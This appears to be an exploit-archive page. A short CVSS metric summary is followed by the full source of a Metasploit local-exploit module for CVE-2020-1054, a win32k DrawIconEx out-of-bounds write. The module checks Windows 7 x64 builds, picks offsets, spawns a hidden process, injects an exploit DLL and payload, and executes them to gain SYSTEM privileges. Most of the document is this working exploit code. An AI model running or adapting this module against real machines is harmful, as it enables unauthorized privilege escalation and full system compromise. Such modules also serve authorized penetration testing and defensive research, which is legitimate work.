The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Microsoft Windows DrawIconEx Local Privilege Escalation
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/post/file'
require 'msf/core/exploit/exe'
require 'msf/core/post/windows/priv'
class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Post::Windows::Priv
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Windows DrawIconEx OOB Write Local Privilege Elevation',
'Description' => %q{
This module exploits CVE-2020-1054, an out of bounds write reachable from DrawIconEx
within win32k. The out of bounds write can be used to overwrite the pvbits of a
SURFOBJ. By utilizing this vulnerability to execute controlled writes to kernel
memory, an attacker can gain arbitrary code execution as the SYSTEM user.
This module has been tested against a fully updated Windows 7 x64 SP1. Offsets
within the exploit code may need to be adjusted to work with other versions of
Windows.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Netanel Ben-Simon',
'Yoav Alon',
'bee13oy',
'timwr', # msf module
],
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'Targets' =>
[
['Windows 7 x64', { 'Arch' => ARCH_X64 }]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'WfsDelay' => 30
},
'Notes' =>
{
'Stability' => [ CRASH_OS_RESTARTS ],
'Reliability' => [ UNRELIABLE_SESSION ]
},
'References' =>
[
['CVE', '2020-1054'],
['URL', 'https://cpr-zero.checkpoint.com/vulns/cprid-2153/'],
['URL', 'https://0xeb-bp.com/blog/2020/06/15/cve-2020-1054-analysis.html'],
['URL', 'https://github.com/DreamoneOnly/2020-1054/blob/master/x64_src/main.cpp'],
['URL', 'https://github.com/KaLendsi/CVE-2020-1054/blob/master/CVE-2020-1054/exploit.cpp'],
['URL', 'https://github.com/Iamgublin/CVE-2020-1054/blob/master/ConsoleApplication4.cpp']
],
'DisclosureDate' => '2020-02-20'
)
)
register_options([
OptString.new('PROCESS', [true, 'Name of process to spawn and inject dll into.', 'notepad.exe'])
])
end
def setup_process
process_name = datastore['PROCESS']
begin
print_status("Launching #{process_name} to host the exploit...")
launch_process = client.sys.process.execute(process_name, nil, 'Hidden' => true)
process = client.sys.process.open(launch_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
# Sandboxes could not allow to create a new process
# stdapi_sys_process_execute: Operation failed: Access is denied.
print_error('Operation failed. Trying to elevate the current process...')
process = client.sys.process.open
end
process
end
def check
sysinfo_value = sysinfo['OS']
if sysinfo_value !~ /windows/i
# Non-Windows systems are definitely not affected.
return CheckCode::Safe
end
file_path = expand_path('%WINDIR%\\system32\\win32k.sys')
major, minor, build, revision, branch = file_version(file_path)
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
build_num_gemversion = Gem::Version.new("#{major}.#{minor}.#{build}.#{revision}")
if (build_num_gemversion >= Gem::Version.new('6.1.7600.0')) && (build_num_gemversion < Gem::Version.new('6.1.7601.24542')) #Windows 7 SP1
@xleft_offset = 0x900
@oob_offset = 0x238
return CheckCode::Appears
elsif (build_num_gemversion >= Gem::Version.new('6.1.7600.0')) && (build_num_gemversion < Gem::Version.new('6.1.7601.24553')) #Windows 7 SP1 with patches
@xleft_offset = 0x8c0
@oob_offset = 0x240
return CheckCode::Appears
else
return CheckCode::NotSupported
end
end
def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
if sysinfo['Architecture'] != ARCH_X64
fail_with(Failure::NoTarget, 'Running against 32-bit systems is not supported')
end
process = setup_process
library_data = exploit_data('CVE-2020-1054', 'exploit.dll')
print_status("Injecting exploit into #{process.pid} ...")
exploit_mem, offset = inject_dll_data_into_process(process, library_data)
print_status("Exploit injected. Injecting payload into #{process.pid}...")
encoded_payload = payload.encoded
payload_mem = inject_into_process(process, [@xleft_offset, @oob_offset, encoded_payload.length].pack('LLL') + encoded_payload)
# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
print_status('Payload injected. Executing exploit...')
process.thread.create(exploit_mem + offset, payload_mem)
end
end
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